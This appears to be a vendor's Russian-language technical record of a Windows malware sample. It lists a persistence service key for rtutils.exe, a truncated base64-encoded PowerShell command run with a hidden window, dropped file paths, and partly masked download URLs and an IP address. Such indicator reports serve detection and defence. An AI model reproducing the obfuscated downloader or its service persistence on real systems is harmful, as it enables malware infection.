Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\rtutils] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rtutils] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDPL1\rtutils.exe"'
- 'rtutils' "%WINDIR%\SysWOW64\KBDPL1\rtutils.exe"
- 'rtutils' %WINDIR%\SysWOW64\KBDPL1\rtutils.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZAHMAMwBqAGgAdAA2AD0AKAAnAFEAJwArACgAJwA1AHkAJwArACcAMQB5ACcAKwAnADYAMQAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdABlAE0AUABcAFcATwBSAGQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\eqq0yts.exe
- %WINDIR%\syswow64\kbdpl1\rtutils.exe
- %TEMP%\word\2019\eqq0yts.exe в %WINDIR%\syswow64\kbdpl1\rtutils.exe
- '19#.#36.179.102':80
- http://ol##-f.de/Sicherung/KqozuDTx/
- http://le##nd.nu/personal-disk/WFEYeUeMIX/
- http://19#.#36.179.102/VAkkodATzfXku8LiL/MHscAWLuPjVetO9q/Y5cSe21cpkt05v/V4XFHdJS/f8ADhUR2c/SUWlWfvGBCMnH0tPPH/
- DNS ASK ol##-f.de
- DNS ASK le##nd.nu
- '%TEMP%\word\2019\eqq0yts.exe'
- '%WINDIR%\syswow64\kbdpl1\rtutils.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABZAHMAMwBqAGgAdAA2AD0AKAAnAFEAJwArACgAJwA1AHkAJwArACcAMQB5ACcAKwAnADYAMQAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdABlAE0AUABcAFcATwBSAGQAXAAyADAAMQA5AF...' (со скрытым окном)